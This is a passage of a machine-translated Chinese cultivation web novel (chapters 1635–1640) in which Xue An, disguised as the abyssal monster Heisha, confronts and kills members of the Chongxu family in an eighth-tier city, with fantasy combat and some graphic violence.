    A ray of sword light appeared between Xue An''s eyebrows, "Can anyone pretend to be this?"

 Chapter 1635： Disguise

    Luo Lanting finally breathed a sigh of relief when he saw this, then stepped forward and said apologetically: "My lord, please forgive me for my previous offense, it is really..."


    Xue An waved his hand and smiled and said: "Well, I don''t mean to blame you. On the contrary, you can have this vigilance, which is great!"


    "But my lord, why do you dress up like this?" Luo Lanting asked in confusion.


    "This... of course it was specially prepared to go to the next level!"


    Luo Lanting wanted to ask again, but after seeing the mysterious smile on Xue An''s face, he closed his mouth very wisely.


    After this battle, only a lonely backyard remained in the huge Zhanxiang Building.


    But this is not the most important thing, the most important thing is the follow-up effect brought about by this event.


    This big duel above the sky shocked everyone.


    The power vented is even more trembling.


    The final result was obviously that the boy in white had lost.


    But the winner went straight into the backyard of Zhanxianglou, and has not come out until now. This can''t help all those who observe this secretly be puzzled.


    what happened?


    What is in the backyard of Zhanxianglou? Why hasn''t the adult come out yet?


    Some active minds started to make secret calculations.


    Would you like to enter the Zhanxianglou to pay respect to this adult?


    Just as everyone was thinking, a brilliance suddenly rose in the backyard of Zhanxianglou.


    Immediately afterwards, Xue An, who had turned into that abyssal monster again, appeared in front of everyone.


    There was a commotion in the crowd.


    Xue An didn''t speak at the beginning, but indifferently scanned the audience for a lap before speaking slowly.


    "I am an envoy under the seat of the Lord of the Realm. I am here to eliminate the rebellious party!"


    Spiritual!


    This word made everyone tremble.


    In their eyes, that is the real big man in the next rank!


    Therefore Qi Qi became awe-inspiring.


    Xue An was very satisfied with this effect, secretly amused, but on the surface was still very indifferent.


    "Now the rebellious party has been eliminated, but there are many vital hostages left!"


    As he said, those girls appeared in front of the backyard.


    "It''s inconvenient for me to bring them to the next level. I can only temporarily settle them here, but this matter is of great importance. You have to be well protected, you can''t make mistakes! Do you understand?"


    The last shout was magnificent, and it made everyone''s heart startled.


    Immediately afterwards, the quick-witted person nodded in response.


    "Master, please rest assured! We will do our best to live up to your entrustment!"


    "Yes, we are absolutely foolproof!"


    The crowd became noisy.


    Xue An faintly smiled, "Very good! But even though they are hostages, you should not be in the slightest, because I heard that even the realm master values ??these people very seriously! If something happens then... "


    Many people''s faces are pale.


    Does Lord Master know this?


    But immediately they became more and more excited.


    If this is the case, wouldn''t it be possible to say that if you behave well, you can gain the realm master''s eyes with this matter?


    At this point, many people''s hearts were fiery, and the gazes at these human girls became more and more hot.


    "My lord, don''t worry, we will not let these girls suffer the slightest grievance!"


    "Yes, how dare we neglect the people whom the Lord Master values?"


    Many people slapped their chests loudly, and kept their promises.


    Xue An was amused when he heard the words, but the surface was still light and breezy.


    "Yes, if this matter is done well, then I will speak for you in front of the master!"


    Everyone was overjoyed, "Thank you, sir!"


    "Thank you for your support!"


    Xue An smiled slightly, then turned to look at these girls.


    He had already told these people his thoughts just now, so they were all ready.


    Although there was still some nervousness in their hearts, when facing Xue Anna''s searching gaze, these people still nodded one after another, indicating that they were ready.


    Xue An nodded, "If this is the case, then I will leave first!"


    After all, without waiting for the onlookers to react, Xue An has soared into the sky and led Luolan Pavilion to disappear into the vast sky.


    Despite this, there are still people who are used to slacking off horses and shouting flatteringly: "My lord, go slowly!"


    "My lord has a good journey!"


    After shouting, these people looked at these human girls with sincere expressions.


    The Terran girls were suddenly very nervous.


    Because they found out how weird these people look at their eyes?


    It''s like...the way a person who has been hungry for days finally saw a good meal.


    "You...you..." There was the brave girl who just wanted to say something.


    Seeing these people rushing forward, before they could react, they showed sincere diligence.


    "Girl, are you eating now? Are you hungry? I will order someone to cook for you now!"


    "Oh, girl, are you injured? It''s okay, I have the secret medicine created by our teacher, I guarantee that the medicine will be cured!"


    "girl����."


    These noisy shouts almost drowned them.


    These girls looked dumbfounded and looked at each other, only then did they understand what Xue An��s arrangement meant before leaving!


    This is to protect the safety of these people!


    Many women couldn''t help showing tears of excitement in their eyes.


    If it weren''t for Xue An, they might have already become the belly food of some alien races.


    They really have no retribution for such kindness, and can only pray silently in their hearts.


    May the adults go here, all smooth sailing, and come back soon!


    At the same time, Xue An, who was on his way to the eighth-tier city, suddenly showed a smile.


    "My lord, what are you laughing at?"


    "Oh! Nothing!"


    After a while Luo Lanting asked in a low voice: "My lord, you left those women alone in Zhanxianglou. Are you really okay?"


    "Don''t worry, nothing will happen. Now that those guys are too late to cheat them, how dare they have other crooked thoughts? Not to mention..."


    Xue An smiled very mysteriously, "Before I left, I deliberately left a sword glow on them. If something happens, it will be enough to protect their peace!"


    Luo Lanting nodded, "It turns out to be like this! Then I can rest assured!"


    "But my lord, what are you planning to do when you dress up as an abyssal monster?"


    "Don''t worry, you will know when the time comes!" Xue An said with a smile.


    The distance between the fifth layer and the eighth layer of cities is actually not too far. The key is that the cities on each layer are blocked by a strong magic circle, and most people cannot cross it at all.

 Chapter 1636： Sub-level

    But this cannot help Xue An.


    Benefiting from the fact that the identity he now disguised was a second-tier spiritual envoy, he didn''t even move his hand during the whole journey, and he traversed several layers of cities smoothly, and finally came to the eighth layer of the city.


    This is the dividing point between the sub-level and the high-level, and it is also the place where the giants and demons from all sides live together.


    In the city, dense buildings obscure the sky, and some are even taller and straight into the clouds.


    And in this place, there is only night, no day.


    Standing high in the sky and looking down, the brilliance of the city is like a sea of ??stars, dazzling.


    Those who can stand here are not easy to follow.


    Xue An followed the memory he had absorbed from Bra, and flew at low altitude in the city.


    Wherever it passed, there were sounds of many monsters retreating into the darkness in fear.


    But it also attracted many dangerous and evil eyes.


    After feeling the breath of the monster played by Xue An at this moment, all these eyes were stagnant, and then a touch of gloating, even full of sarcasm, appeared.


    Xue An understood it in his heart, but just smiled coldly, and then stepped across the stacks of buildings, and finally came to a very majestic tall building.


    When he slowly landed on the roof of the building, the entire tall building trembled.


    But before he walked down the steps, a ridiculous voice came from a distance.


    "Yeah, our noble Lord Black Sha is back!"


    Xue An didn''t even turn his head, but said coldly: "Chi Xiao, you are really in good spirits! Why? Waiting here all the time, just to welcome me back?"


    There was a rustling sound in the darkness, and then I saw countless black beetles pouring out, forming a tall figure.


    This is a man with a sly face, like a demon who crawled out of hell.


    The corners of his mouth were grinning to the base of his ears, and he said with a grinning grin: "Heisha, I didn''t expect you to come back so soon! Why? Didn''t your little concubine come back? what a shame!"


    Having said that, he laughed triumphantly.


    Xue An didn''t say a word, but looked at him quietly, a cold look flashed in his eyes.


    The reason why he knew that this guy was called Chi Xiao was naturally because of Heisha''s memory.


    Not only that, he also knew that Chi Xiao and Hei Sha were extremely at odds.


    As long as there is a chance, the two will fight to the death.


    But most of the time, the black evil fell in the wind.


    "Huh? This little lady looks good! Tsk tsk, she is still a human race! Hei Sha, your interests are really broad enough. Last time you found a fox demon, why? Did you change to an adult race this time?" Chi Xiao noticed the Luolan Pavilion standing behind Xue An, full of sarcasm.


    Xue An raised his eyebrows slightly, "What? Who am I looking for to have a half-spiritual relationship with you? It''s the turn of you to talk here?"


    "You..." Chi Xiao was furious when he heard the words, and just about to have an attack, suddenly remembered something, and couldn''t help laughing strangely.


    "I see, Heisha, you are scared, right? That''s why you intend to deliberately provoke me!"


    "Haha!" Xue An sneered, maintaining the inherent image of this monster.


    But his reaction further confirmed Chi Xiao''s guess.


    "Absolutely! Hehe, speaking of it... Hei Sha, you are really courageous enough! In the past, you were only raised in other cities, but this time you dare to blatantly bring other women back. Are you not afraid of you? Mrs. will tear your tentacles to pieces?"


    Chi Xiao was more excited as he spoke, his face full of gloat.


    Because in this rank, who didn''t know that this black evil spirit envoy was famously afraid of his wife?


    In fact, this is not to blame Heisha, it is really his wife or his wife''s family that is too strong.


    The dignified Chongxu family, even in this eighth-tier city, is considered a well-known existence.


    Even when it comes to relatives, you can have a relationship with the master of the world.


    This is also the reason why Hei Sha can be the spiritual envoy of the upper seat.


    But also because of this, many people ridiculed Heisha from behind because it was purely a woman who got his position.


    In fact, in the abyss, there are many creatures that are female and tyrannical, while males are relatively weak.


    Hei Sha is an octopus contaminated by the blood of the devil. If he succumbs to his wife, it is actually nothing.


    But ordinary creatures can, but strong ones can''t.


    Because once you embark on the path of the strong, it means you have to abandon a lot of biological instincts.


    Otherwise, your path to the strong will not go long.


    This is also the reason why Hei Sha has attracted so much ridicule and disdain after he returned.


    In the past, as long as Chi Xiao said that, Heisha would often lose the battle.


    This time was no exception, I saw Chi Xiao looking at Xue An smugly, trying to see the panic on his face.


    But this time, he miscalculated.


    I saw Xue An looking at Chi Xiao nonchalantly, and finally smiled coldly.


    "Tear to pieces? Ha ha, do you think she dares?"


    Ok?


    Chi Xiao almost thought he had heard it wrong.


    You know that in the past, as long as you mentioned his wife, the black evil spirit would immediately admit it.


    But what happened this time?


    How could this black evil become so tough?


    "Hehe, Heisha, are you joking with me? If these words are known by your wife, what will happen, you should know better than me!" Chi Xiao grinned.


    Xue An had actually sensed Heisha''s memory a long time ago, and knew that this was a complete strictness of his wife, so he had been prepared, but just smiled faintly.


    "What can I do if I know it? As for the consequences... I will let her know what a consequence is!"


    "You..." Chi Xiao looked at him deeply as if it had met Xue An for the first time.


    "Why? Don''t believe it? Well, you can follow along, and I will show you whether all this is true!"


    After all, Xue An stepped down the steps and walked into the building.


    Chi Xiao looked dumbfounded at Xue An''s back, and suddenly trembled.


    How did this guy become weird after going out?


    Could it be replaced by someone?


    But that breath and spiritual thoughts can''t be faked!


    what''s the problem?


    With full of doubts, he pondered for a moment, and then followed.


    The building at the foot is Heisha��s previous nest, and also the headquarters of the Chongxu family To put it bluntly, Heisha is actually a son-in-law.


    So the bullying he usually suffered can be imagined.


    For example, when Xue An walked into this building, almost all the people in the past regarded it as if they hadn''t seen it. Only a few people stepped aside and nodded, which was regarded as a greeting.


    But when they saw the Luolan Pavilion behind Xue An, they were all stunned.


    Xue An didn''t bother to take care of these guys, and led Luolan Pavilion straight into it.


    Until both of them have gone far.


    These people just woke up from the shock, and then looked at each other and saw the incredible in each other''s eyes.


    what happened?


    This Lord Black Ghost actually led the woman home?

 Chapter 1637： Ideal is full, the reality is very skinny

    This is an extremely luxurious living room no matter the layout or furnishings.


    At this moment, a secret meeting is going on in this living room.


    Chong Xuying raised his head arrogantly, and sneered at Chong Xulan, who was sitting aside: "Sister, that trash not only raises a female pet in the lower-level city, but this time he even dared to come secretly to his private meeting. We have to give him some color now!"


    Chong Xulan looked indifferent, "I have my own sense of this matter, and you don''t need to talk too much!"


    Chong Xuying pursed his mouth when he heard the words, and a cold look flashed in his eyes.


    "Sister, shouldn''t you really be enamored with that waste? I can tell you that you represent the face of the Chongxu family. If it weren''t for taking the blood of this waste, you wouldn''t be able to marry him, so... ...."


    Before she finished her words, Chong Xulan suddenly raised her head, her eyes turned into a daunting black, and said coldly: "Chong Xuying, are you teaching me how to do things?"


    With the voice, a powerful dark coercion surged in.


    But in the face of such power, Chong Xuying did not show weakness, but coldly snorted from his nostrils, "What? You did not do it right, can''t I teach you?"


    When he said that, he had to fight with Chong Xulan.


    At this moment, an old and majestic voice came.


    "Stop it all!"


    With an order, the two sisters Chong Xulan and Chong Xuying immediately stopped the offensive in their hands, and then bowed and saluted an old man sitting in the upright position.


    "Grand Elder!"


    The old man nodded slightly, "Okay! I know that your sisters have always been at odds, but no matter how you look at each other is not pleasing to the eye, you can''t do it privately, because your life does not belong to you, but belongs to the entire Chongxu family. Do you understand?"


    "Yes!" The two nodded together.


    Then the old man looked at Chongxulan, "Even though the child Ying''er speaks irritably, what he said just now is not unreasonable. If it wasn''t for improving the blood of our Chongxu family, he wouldn''t let you marry that wild animal. ! So... what happened to the plunder of his blood?"


    Chong Xulan nodded slightly when he heard the words, "Great Elder, don''t worry, there has been great progress. In a few years at most, I will be able to plunder all the blood in his body! The time to destroy him is then!"


    When she said this, Chong Xulan looked indifferent.


    "Very good!" The elder nodded very satisfied, "This is the descendant of my Chongxu family!"


    Chong Xuying heard the words, and the corners of his mouth raised slightly, revealing a disdainful smile.


    Isn��t it just born some time earlier than me? What''s so great!


    As Chong Xuying was full of slander, there was a loud noise outside the meeting room.


    "My lord, you can''t go in!"


    "My lord, this is a forbidden place for you, so please come back!"


    The sound of shouting one after another.


    The expressions of Chong Xulan and others changed.


    At the same time, the noise outside suddenly turned into screams.


    But these screams lasted for a very short time, almost in the blink of an eye, everything returned to silence.


    But before Chong Xulan and others could react, there was another loud bang.


    The door of the meeting room was directly knocked down to the ground, and Xue An slowly walked in amidst the agitated smoke and dust.


    It was him at first sight.


    Chong Xulan and others were all stunned.


    Because at this moment, Xue An is still like Heisha.


    But then I saw Chong Xuying suddenly getting up, and a vertical leap jumped in front of Xue An, screaming loudly.


    "Who let you come here? Don''t you know that this place is absolutely forbidden for you? Get out!"


    Xue An looked down at Chong Xuying. Based on Hei Sha''s memory, he knew that this woman was Hei Sha''s sister-in-law.


    And from the memory, Hei Sha was actually full of fear for his sister-in-law.


    Don''t look at him as the monster of the abyss, but when facing the dashing shadow, it can be said that he can''t fight back and curse.


    This led to the arrogance of Chong Xuying.


    Therefore, Chong Yingying will take the lead at this time.


    If it were in the past, Heisha would immediately become irritated by Chong Ying''s scolding, and then obediently withdrew.


    But today, Chong Xuying found that things had changed.


    She was shocked to discover that in the face of her own scolding, the Hei Sha in front of her did not shrink back, but looked at herself indifferently, especially those eyes that were full of mockery and playfulness.


    This attitude immediately angered Chong Xuying, and saw her sneer, "You haven''t settled the account of your private going out. Now you dare to have such an attitude, it''s really looking for death!"


    As she said, she raised her hand and slapped Xue An in the face.


    Regarding the cultivation base, Chong Xuying is only half the level of the fairy king, and this is still the light of the bonus of his own bloodline talent.


    But she just dared to slap the black evil who is far better than her!


    The reason was because she had taken this Heisha and absolutely did not dare to fight back.


    But the ideal is full, but the reality is very skinny!


    She just slapped her slap halfway, Xue An smiled slightly, raised her hand, and slapped her face.


    This slap can be said to come first.


    Chong Xuying almost didn''t react, when Xue An''s slap arrived.


    Snapped!


    After a very crisp sound, Chong Xuying''s whole body was slapped from the ground, and he flew out several meters away before he could touch the ground.


    Then he opened his mouth and spit out a mouthful of broken teeth.


    Not to mention, her nose and half of her face were shattered by this hand.


    The broken muscles fell down, mixed with blood, making her face very terrifying.


    This shocking slap not only shook everyone in the house, but even Chi Xiao, who rushed over after him, was taken aback.


    Originally, when he saw Chong Xuying stopping Xue An, he was quite gloating in his heart.


    Because he knew Heisha usually feared his little sister-in-law the most.


    Moreover, there was a dewy marriage between Chi Xiao and this Chong Xuying I knew that Chong Xuying had a violent temperament, which was definitely not a good thing.


    Now Xue An is trespassing in the living room, this matter will never be kind.


    But never expected that the final result would turn out to be like this.


    Things are indeed not good, but it is not the black evil that fell, but the ghost.


    Chi Xiao looked at Xue An''s back in astonishment, couldn''t believe it was all true.


    How come you suddenly have so much courage for this uselessness?


    at the same time.


    Everyone in the room has also reacted.


    "Hei Sha, do you dare to hurt someone? Kneel me down! I can still intercede with the elders for you, otherwise you will definitely die!" Chong Xulan stepped forward, shouting murderously.


    Xue An didn''t even lift his eyelids, just glanced at her coldly, "Let me kneel? Do you have the qualifications?"

 Chapter 1638： Im crazy, what can you do with me...

    oom!


    Hearing these words, whether it was the people who rushed to hear the news or the Chi Xiao and others who were there before, they were all dumbfounded.


    Who didn''t know that Hei Sha usually respected this Chong Xu Lan as a god.


    She said that if you go east, you will never go west.


    People have even seen Hei Sha kneeling at Chong Xulan more than once and begging.


    However, he never expected that the black evil master today was uncharacteristically, and even dared to yell at Chong Xulan.


    Chong Xulan''s face was gloomy and almost dripping.


    Suddenly!


    She saw the Luolan Pavilion standing behind Xue An. She was startled at first. Even if Xuan thought she had found the cause, she couldn''t help but tremble with anger.


    "Hei Sha! You actually talked to me like this for a human woman? Are you crazy?"


    But Xue An just took his ears out of his spare time, "Yes! I''m crazy, what can you do with me?"


    "You... die for me!" Chong Xulan''s eyes turned into pitch black, and the hair behind him danced without wind, turning into tentacles, rushing towards Xue An frantically.


    But Xue An didn''t even move. These tentacles turned into fly ash before they rushed to the front and disappeared.


    Then Xue An said lightly: "Use the blood abilities looted from me to deal with me, it''s hard for you to think!"


    As soon as he said this, the eyes of the great elder who was sitting on the upright position suddenly burst, and he took a deep look at Xue An.


    Chong Xulan didn''t notice this. At this moment, she was obviously very angry, and her figure flashed, she rushed to Xue An, and then she wanted to do it.


    Until then, in Chong Xulan''s mind, the person in front of him was still the Heishi who knelt down and begged for mercy for Bo himself.


    Even if he gave him the courage, he didn''t dare to treat himself.


    But this idea was quickly slapped by reality.


    When Chong Xulan was desperate and wanted to teach Xue An a lesson, Xue An suddenly raised his hand and slapped it out again.


    Snapped!


    This crisp sound is louder than the previous one.


    Caught off guard, Chong Xulan screamed, and then flew out like an arrow from the string, and the target was the Great Elder sitting in the middle.


    But before she rushed forward, the great elder waved his hand casually, a soft dark force supported her, and then slowly placed her on the ground.


    Despite this, Chong Xulan was still bleeding from his nose and mouth, and his appearance was extremely miserable.


    From Xue Anjin to the present, just a few breaths, two people have been fanned out one after another.


    This had to shock everyone.


    Chi Xiao, who was planning to follow the joke to watch the joke, almost stared his eyes out, and muttered with a blank face: "This...what''s going on? Is this black evil really crazy?"


    The great elder took a deep look at Xue An, and said coldly: "It seems you already know everything!"


    Xue An nodded, "Forget it! At least you secretly looted my bloodline power, I already know!"


    "Oh!" The elder sighed softly, "Why do you really need it! In fact, as long as you always pretend to be ignorant, then our Chongxu family won''t take you any way, but will send you back to the abyss after you have no use value. , Then you can still save your life, isn��t that bad?"


    Speaking of this, the great elder raised his head and looked at Xue An indifferently, "As a result, you have to take the initiative to puncture it, this is your own death!"


    In the cold voice of questioning, the eyes of the elder were gradually filled with darkness.


    But the dark coercion brought about by this is much stronger than the previous Chong Xulan.


    The Chongxu family was also born in the abyss, and their bloodline abilities are also very special, but they control darkness.


    Such skills can be said to be like a fish in this dark paradise lost, so they can become a subordinate family.


    But no one would dislike his own bloodline ability.


    In order to improve or evolve the Chongxu family''s bloodline ability, they tried to integrate into the bloodlines of other abyssal monsters and tried to improve them.


    And the bloodline ability of Hei Sha was favored by the Chongxu family.


    So not long after he was out of the abyss, Hei Sha, who didn''t know anything, was brought in by the Chongxu family. He was the son-in-law of Chongxulan in name but was actually a prisoner.


    Seeing that this matter was about to be done now, he did not expect that Heisha, the experimental product, would suddenly "awaken"!


    In order to avoid future troubles, the great elder planned to personally take action to slay this black evil spirit.


    The thick darkness isolated everyone, only enclosing Xue An.


    In this darkness, even the sound has disappeared, and there is just endless nothingness.


    Xue An didn''t show the slightest panic, he even smiled coldly, and then slowly closed his eyes.


    In fact, in this environment, opening your eyes is the same as closing your eyes.


    In the darkness came the smirk of the great elder, "Boy, thank you for your contribution to my Chongxu family over the past few years, now... let me die!"


    boom!


    The endless darkness began to strangle Xue An frantically.


    But at this moment, Xue An suddenly raised his head, and an extremely red lotus appeared between his brows.


    As soon as this lotus flower came out, it immediately released a great light, illuminating the surrounding darkness, and making the Great Elder invisible.


    I saw him fall from nothingness in embarrassment, and then looked at the red lotus in horror.


    "This... what kind of fetish is this? Why can it break through my dark strangulation?"


    Xue An smiled slightly, "It''s called Red Lotus Karma Fire! It''s a gift I specially prepared for you monsters in the abyss!"


    As soon as this statement was made, the eyes of the elder instantly widened, and then he understood.


    "You''re not Heisha! Who are you?" He yelled, trying to get the attention of people around him.


    But he had forgotten that when performing dark strangulation, he deliberately shielded everything around him.


    "This question, you should go down and ask Heisha yourself!"


    After all, Xue An waved casually.


    This red lotus flashed slightly, and then appeared above the head of the great elder.


    "No In fact, this no word was not shouted at all. As soon as he reached his throat, the red lotus turned into a flame and enveloped the great elder.


    Today''s Red Lotus Karma Fire is already Xue An''s best weapon, even more terrifying than that Wushuang Jianyi.


    Coupled with the damage bonus from the karma fire to the darkness, this made the great elder very sad.


    Almost in the blink of an eye, this great elder was transformed into nothingness.


    Under this circumstance, the darkness that had previously wrapped Xue An naturally shattered.


    And when Xue An''s figure reappeared in front of Chong Xulan and Chi Xiao and others, these people were all stupid.


    Because just when Xue An was held hostage by the darkness of the Great Elder, everyone present, including Chong Xulan, let out a sigh of relief, thinking that the matter was over.


    Because no one can survive from the dark control of the Great Elder.

 Chapter 1639： If you have grudges, you will report it on the spot.

    Chong Xuying''s face showed extreme hatred.


    "Bastard, what a bastard! How dare you hit me? It''s really cheap to let him die like this!"


    The bitter hatred filled her voice with spite.


    Chi Xiao sighed slightly.


    He didn''t know what happened to this black evil!


    But no matter what, he is still dead!


    This result will not change!


    It was at this moment that the darkness broke open, and then Xue An emerged.


    "Where is the Great Elder?" Chong Xulan was also taken aback, stammering and shouting despite the pain on her face.


    Xue An smiled when he heard the words, "Oh, you said that person! He is dead!"


    "How... how is it possible?" Chong Xulan couldn''t believe her ears.


    But the facts are here.


    If the great elder is not dead, then how did Xue An break through the control of darkness?


    "I don''t believe it, you must be lying, die for me!" Chong Xuying rushed up crazy.


    In her opinion, Xue An must have used some secret method to break through the dark control of the great elder, which means that he must have lost a lot of energy.


    Taking advantage of this opportunity, I will definitely be able to take revenge for that palm.


    But she thought very well, but the truth was extremely cruel.


    Xue An obviously wouldn''t be used to her, so when she just rushed to the front, Xue An turned the blade in his hand and slashed directly.


    Chong Xuying''s heart shuddered, and subconsciously raised his arm to try to block it.


    But under this almost transparent blade, all struggles are futile.


    puff!


    After a muffled sound, the blade cut her arm diagonally, followed by her head, and then down the abdominal cavity, and finally cut out from the hip bone.


    Everything became extremely quiet.


    Chong Xuying looked at Xue An blankly, as if he couldn''t believe that the guy in front of him, whom he had always looked down on, really dared to kill him.


    Then a blood line appeared along the sword Xue An had just cut down.


    Click!


    After a crisp sound.


    Chong Xuying''s body slid down diagonally, leaving only two strong standing feet.


    The smell of blood permeated the audience.


    Everyone''s complexion became extremely pale.


    No one thought that this guy who had been despised by everyone would actually dare to kill people.


    Chong Xulan''s face was as white as paper, and her lips trembled, "You...you..."


    You haven''t said why for a long time.


    Instead, Xue An smiled slightly, "What happened to me?"


    Chong Xulan took a deep breath, "Who are you?"


    "Me? I am naturally Heishi!" Xue An still didn''t intend to reveal his identity, so he said with a smile.


    Chong Xulan was full of doubts.


    Because she never believed that the useless black evil spirit would be so decisive.


    But the fact is right in front of her, and she can''t help but believe it.


    She also wondered if the black evil in front of him was pretending to be someone else.


    But neither the breath nor the divine mind could see the slightest flaw.


    Xue An didn''t come for revenge for this stupid Black Fiend, so he didn''t plan to kill Chong Xulan.


    In fact, if he wanted not to be suspected, he shouldn''t even kill the phantom.


    But Xue An''s character has never suffered, and even if he has grudges, he is reported on the spot.


    The big deal is to abandon the disguise and continue to kill to the top layer by layer!


    That''s why he would simply and neatly chop this repeatedly clamoring Chong Ying Ying Jian in half.


    Chong Xulan closed his mouth wisely and stopped talking.


    Xue An smiled slightly, then turned his head to look at Chi Xiao who was standing not far away dumbfounded.


    "Here, can you see them all now?"


    For some reason, it may be due to psychological effects.


    When Xue An''s eyes were on, Chi Xiao trembled all over, then nodded tremblingly.


    "Yes...Yes! I saw it all!"


    "Do you have any thoughts?" Xue An asked with a smile.


    Chi Xiao subconsciously swallowed his saliva and said with a strong smile: "No...no thoughts!"


    "Huh?" Xue An raised his eyebrows slightly, "Why don''t you have any feelings? Haven''t you been saying I''m afraid before?"


    Chi Xiao really wanted to slap himself severely!


    Tell you to be cheap, tell you to come and watch the fun!


    This is it!


    what should we do?


    Chi Xiao didn''t want to oppose the guy in front of him who didn''t know if it was crazy or what happened, so he racked his brains and said.


    "Yes! Of course I have thoughts! I think... it''s all these guys'' faults! If it weren''t for their Chongxu clan to provoke you again and again, how could you kill them?" Chi Xiao''s eyes rolled, and Fuzhi said with a heartfelt feeling.


    Xue An nodded in satisfaction, "Yes, it seems you are not stupid!"


    "Yes, yes!" Chi Xiao nodded and said, feeling cold sweat on his back.


    "Then do you know what to say after going out?"


    "Ming...understood!" Chi Xiao nodded like garlic.


    "That''s good, go! Don''t let me down!" Xue An said lightly.


    Chi Xiao, like a pardon, quickly turned and left.


    It wasn''t until he walked out of the living room area that he suddenly became a little confused.


    what happened?


    Why is he so scared when facing this black evil spirit?


    Is it intuition?


    Or is there something hidden in him?


    Chi Xiao didn''t know that when Xue An was talking to him just now, he secretly attached a ray of divine thought to it.


    This caused him to be so frightened.


    Chong Xulan looked stupidly.


    "Let''s go!" Xue An said lightly.


    "Ah? Go...where to go?" Chong Xulan didn''t understand yet.


    "Nonsense, of course I went to see your parents and them! After all, now that the elder is dead, and your sister has become a corpse, I must have an explanation for these things!" Xue An said lightly.


    Chongxu Lanmu looked at Xue An in a daze, and a storm surged in his heart.


    What does he want to do?


    Now that his sister is dead, and the elder is still alive and dead, he doesn''t say to run away quickly, but actually wants to see his parents!


    Didn''t he know that there is no difference between this and death?


    But Xue An was obviously too lazy to explain to her, turned around and walked out.


    "If you don''t want to go, just forget it! I''ll just go over and say it myself!" Xue An''s tone was indifferent, as if to say a very common little thing.


    Chong Xulan gritted her teeth secretly, "No, I will go!"


    After that, she took a step to follow.


    Xue An didn''t look back, but showed a slight smile after hearing the footsteps behind him.


    So a spectacle appeared in front of many people I saw Lord Black Fiend, who had no status in the Chongxu family, walked in front of him at this moment.


    The eldest lady Chong Xulan followed behind her, and beside her, there was a human woman walking side by side with her.


    Such a combination simply shocked the attention of many people.


    Somehow, when walking with Luolan Pavilion, Chong Xulan felt awkward all over.


    My face was swollen and swollen just now. Although it is much better now, can I see it?


    My clothes today are too simple!


    Oh, why is the hair messy?


    These thoughts actually replaced those fears and occupied Chong Xulan''s heart.

 Chapter 1640： Shot is a lore

    In fact, the entire Chongxu family had boiled before Xue An had gone far.


    The senior members of the Chongxu family are not fools, especially the sudden disappearance of the great elder aroused their vigilance.


    Xue An has just walked through the atrium and is about to step into the real internal restricted area of ??Chongxu''s home.


    The powerhouses from all sides of the Chongxu family have already blocked the way.


    Xue An stopped, with a smile on his face, watching quietly.


    quickly.


    A group of people walked out of the crowd, and the leader was a man with a calm face and no age.


    After seeing this man, Chong Xulan trembled, "Father!"


    That''s right!


    The person here is the Patriarch of Chongxu Family, that is, Chongxulan''s father, Chongxu Xuan.


    I saw his gaze swept away from Chong Xulan, then stopped on Xue An, and said meaningfully: "I didn''t expect it, I actually looked away!"


    Xue An smiled faintly, "Is this strange?"


    Xue An''s attitude angered many people.


    A dazzling lady stepped forward and yelled at Xue An: "You have Yinger''s resentment on you, what did you do to her?"


    Xue An shrugged slightly, "I''m sorry Madam, I think she is too noisy, so I sent her on the road directly!"


    "You...!" The lady was so angry that she almost showed her original form, and the hatred in her eyes made her want to take Xue An alive.


    Because she is the mother of Chong Ying Ying!


    In fact, for these abyssal monsters, they are very indifferent to feelings.


    There will not be the kind of strong father-son affection of human beings, but it is more like a relationship between superiors and superiors.


    But the Chongxu family has been out of the abyss for a long time. They changed Paradise Lost, but at the same time they were also changed by Paradise Lost.


    For example, now they have begun to pay attention to the relationship between father and son.


    Chong Xuying was the lady''s favorite child. Now that she heard that she had died in Xue An''s hands, she was naturally angry and was about to attack.


    Chong Xuxuan waved his hand, stopped her, and then took a deep look at Xue An, "So, the elder is also dead in your hands?"


    Xue An nodded, "Yes!"


    "Very good!" Chong Xuxuan''s eyes were piercing, but the expression on his face gradually became cold.


    "I really missed it. I didn''t expect you to have such strength. Then you have tolerated in my Chongxu family for many years. Why did you suddenly explode at this moment?"


    Xue An hugged his shoulders, first glanced at Chong Xuxuan and the senior Chongxu clan behind him with a smile, before speaking slowly.


    "It''s very simple, I think you are a little bit incompetent, so I plan to sort it out!"


    As soon as this remark came out, the audience was upset.


    You should know that this Black Shaman was not valued by anyone in the Chongxu family, and was even considered a disposable furnace.


    Now he suddenly turned back. Although everyone was astonished, based on inertia, he still felt a lot of contempt in his heart.


    So when he heard these words, almost everyone was furious.


    "What a guy with the deepest city palace, dare to hide such evil intentions and kill him!"


    "Yes, kill him to avenge the great elder!"


    In the shouting, Chong Xuxuan also sneered, "I should have known for a long time that being able to come out of the abyss is so simple, but you actually dare to covet my Chongxu family, that is You are dead by yourself!"


    After that, Chong Xuxuan lowered his eyes and said coldly, "Kill him!"


    With an order, countless assassins emerged in the darkness, rushing towards Xue An.


    For the Chongxu family who was born in darkness, this was just the beginning. The eyes of the many high-level members of the Chongxu family turned black at the same time, and then used secret skills to blast towards Xue An.


    Shot is a lore!


    Chong Xuxuan showed a sneer.


    He didn''t think this black sha could survive such an attack,


    In fact, if it weren''t for checking the details of this black evil spirit, he wouldn''t be bothered to say such nonsense.


    Because Chong Xuxuan''s first reaction after hearing the news was that Heisha was replaced by someone.


    Otherwise, these things cannot be explained.


    But after seeing Xue An, Chong Xuxuan put out these questions in his heart.


    Because in his eyes, the person in front of him is clearly the Heishi who has been useless for several years.


    No matter whether it is breath or divine mind, there is no flaw in it.


    And this can''t be done.


    If this were the case, then Chong Xuxuan couldn''t allow this Hei Sha to survive.


    That''s why he wanted to destroy Xue An so impatiently.


    But soon, the smile on his face solidified.


    Because in this overwhelming darkness strangling, a ray of fire suddenly soared into the sky, and then burst into incomparably bright light.


    The closer Chongxu family members didn''t even have time to hum, they were melted into nothingness.


    Only those who are a little further away have the opportunity to scream.


    "Ah!"


    Unfortunately, this scream only lasted for a short period of time, and then it stopped abruptly.


    Because in front of the fire like the sun, no matter how far or near!


    These members of the Chongxu family, who were accustomed to living in darkness, suffered extremely fatal injuries.


    Chong Xuxuan''s expression changed suddenly, and the darkness around his body was surging, which could withstand the erosion of this flame.


    The sizzling sound spread everywhere, it was the sound of darkness being roasted by light.


    Chong Xuxuan felt his scalp numb, and his heart was extremely shocked.


    He had never seen such a domineering flame.


    You must know that he is a strong immortal king, although he only has second-rate strength, he is still extremely powerful.


    But when facing the fire, he felt a chill that had never been felt before.


    That is the stress response that comes when facing a fatal threat of death.


    Therefore, Chong Xuxuan made a decision immediately, breaking through the darkness and wanted to escape here.


    But at this moment, a chuckle came from behind his neck.


    "Are you going to run away if something is wrong?"


